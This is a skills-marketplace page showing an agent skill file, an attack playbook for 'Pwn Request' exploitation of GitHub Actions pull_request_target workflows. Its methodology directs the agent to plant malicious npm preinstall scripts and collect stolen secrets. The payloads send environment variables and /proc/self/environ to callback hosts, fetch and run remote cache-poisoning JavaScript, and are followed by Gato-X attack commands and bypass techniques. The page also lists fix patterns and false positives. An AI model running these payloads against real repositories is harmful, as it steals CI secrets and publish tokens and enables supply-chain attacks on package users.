본문으로 건너뛰기
cccskills
무료GitHub에 공개

pwn-request

Use when hunting Pwn Request vulnerabilities where pull_request_target workflows checkout attacker-controlled PR code and execute it in a privileged context with access to repository secrets. Trigger on: "pwn request", "pull_request_target", "checkout PR head", "npm install in CI", "lifecycle scripts in CI", "preinstall script", "postinstall script", "package.json scripts CI", "npm ci ignore-scripts false", "actions/checkout ref pull request head sha", privileged workflow running PR code, "Gato-X", supply chain via PR lifecycle scripts.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

설치 방법 보기

포함된 파일(1)

  • SKILL.md8.1 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Pwn Request

What Is Broken and Why

A "Pwn Request" occurs when a pull_request_target workflow — which runs in the context of the base repository with access to its secrets — explicitly checks out the PR contributor's code and executes it (via npm install, make, build scripts, etc.). pull_request_target was designed to safely access secrets for things like posting comments on PRs from forks, but developers mistakenly combine it with a checkout of the PR head SHA, collapsing the trust boundary. Any attacker who can open a PR can now execute arbitrary code with the repository's GITHUB_TOKEN and all configured secrets. The npm preinstall/postinstall lifecycle scripts are the most common execution vector — they run automatically during npm install / npm ci with no additional flags required unless --ignore-scripts is explicitly set.

Key Signals

  • on: pull_request_target trigger in a workflow file
  • actions/checkout step with ref: ${{ github.event.pull_request.head.sha }} or ref: ${{ github.head_ref }}
  • Package manager install step after that checkout: npm install, npm ci, yarn, pnpm install
  • --ignore-scripts=false explicitly set (overrides safe default) or --ignore-scripts absent
  • permissions: contents: write or secrets.* accessible in the same job
  • Build/test job that runs attacker's code AND has access to publish tokens or deployment keys
  • Cache key derived from hashFiles('**/package.json') — attacker controls package.json

Methodology

  1. Find all pull_request_target workflows:
    grep -rln 'pull_request_target' .github/workflows/
    
  2. For each, check if actions/checkout references PR head code:
    grep -A5 'actions/checkout' .github/workflows/WORKFLOW.yml | grep 'head.sha\|head_ref'
    
  3. Identify what runs after checkout: npm install, yarn, pnpm, make, build scripts.
  4. Check if --ignore-scripts is set. If absent or =false, lifecycle scripts execute.
  5. Enumerate secrets accessible in the workflow (secrets.* references, environment names).
  6. Check if the same cache key is shared with a privileged downstream workflow (release, publish).
  7. Craft malicious package.json with payload in preinstall or postinstall.
  8. Open a PR from a fork — workflow triggers automatically.
  9. Collect exfiltrated secrets via CALLBACK server or OOB DNS.

Payloads & Tools

// Malicious package.json — preinstall exfiltrates all env vars
{
  "name": "target-package",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "curl -sSfL https://CALLBACK/$(printenv | base64 -w0)"
  }
}
// Stage 2: deploy Cacheract for cross-workflow cache poisoning
{
  "scripts": {
    "preinstall": "curl -sSfL https://ATTACKER/cacheract.js > /tmp/r.js && node /tmp/r.js"
  }
}
// Targeting a specific build script (GraphQL-JS pattern)
{
  "scripts": {
    "build:npm": "node resources/build-npm.js && curl -sSfL https://ATTACKER/r.js > /tmp/r.js && node /tmp/r.js"
  }
}
# Find pwn-request candidates at scale with Gato-X
gato-x enumerate --target ORG --type org
gato-x attack --target REPO --pwn-request

# Manual search across an org
gh search code 'pull_request_target' --owner ORG -l yaml | \
  grep -l 'checkout' | xargs grep 'head.sha\|head_ref'

Bypass Techniques

  • --ignore-scripts bypass: if set on npm ci but not on a subsequent npm install --prefer-offline, the cached (now poisoned) node_modules still executes — install scripts run on restore
  • Indirect script execution: if npm ci --ignore-scripts is used, target the build script directly (npm run build) which may call attacker-controlled scripts
  • prepare script: runs on npm install and npm pack — often overlooked vs preinstall/postinstall
  • Composite actions: if the workflow calls a composite action checked out from the PR, the action's steps execute with the workflow's permissions
  • workflow_run chaining: if the pwn-request workflow uploads artifacts, a downstream workflow_run event may consume them with elevated permissions

Exploitation Scenarios

Scenario 1 — NPM publish token via preinstall (cross-fetch pattern) Setup: pull_request_target workflow checks out PR head, runs npm install using a cache key derived from package.json hash. A separate release workflow restores the same cache key and runs npm publish with NPM_TOKEN. Trigger: Attacker opens PR with preinstall: "node /tmp/cacheract.js" in package.json. Cacheract poisons the shared cache key. Impact: Next release run restores poisoned cache, NPM_TOKEN exfiltrated. Attacker can publish malicious versions of the package to npm (20M weekly downloads).

Scenario 2 — Direct GITHUB_TOKEN theft Setup: pull_request_target with permissions: contents: write checks out PR and runs npm ci. Trigger: preinstall script runs curl -d @/proc/self/environ https://CALLBACK. Impact: GITHUB_TOKEN (write scope) exfiltrated immediately. Attacker can push to protected branches, create releases, modify workflow files.

Scenario 3 — Composite action injection Setup: Workflow calls uses: ./.github/actions/build with ref: ${{ github.event.pull_request.head.sha }}. Trigger: Attacker's PR replaces action.yml with malicious steps. Impact: Attacker's steps execute with the calling workflow's full permissions.

False Positives

  • pull_request_target workflow that does NOT checkout the PR head (only base branch code) — safe
  • npm ci --ignore-scripts with no subsequent install step — scripts cannot execute
  • Workflow only posts comments or labels, never runs code from the PR
  • Secrets gated behind an environment: with required reviewers — attacker's job won't get them

Fix Patterns

# WRONG: pull_request_target + PR head checkout + npm install
on: pull_request_target
steps:
  - uses: actions/checkout@v4
    with:
      ref: ${{ github.event.pull_request.head.sha }}
  - run: npm install  # executes attacker's preinstall

# CORRECT option A: separate untrusted build (pull_request) from privileged steps
on: pull_request  # runs with read-only fork token, no secrets
steps:
  - uses: actions/checkout@v4
  - run: npm ci --ignore-scripts

# CORRECT option B: if pull_request_target is needed, never check out PR code
on: pull_request_target
steps:
  - uses: actions/checkout@v4
    # no ref: — checks out base branch only
  - run: echo "Post comment only, no build"
  • Always use npm ci --ignore-scripts in CI; run lifecycle scripts explicitly and audited
  • Never share cache keys between untrusted (PR) and trusted (release/publish) workflows
  • Gate publish jobs behind environments with required reviewers
  • Use Gato-X or workflow audits to find pull_request_target + checkout combinations

Related Skills

[[github-actions-script-injection]] is the technique that fires once a pwn-request gets RCE — the preinstall script or build step is effectively an injection point for arbitrary shell commands. [[self-hosted-runner-poisoning]] dramatically amplifies pwn-request impact: code executing on a persistent self-hosted runner can access long-lived credentials, VM state, and infrastructure not reachable from ephemeral GitHub-hosted runners. After secrets are exfiltrated, [[github-actions-cache-poisoning]] can be used as a pivot to affect downstream publish workflows.

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

ShulkwiSEC의 스킬 모두 보기

이 스킬의 문제 신고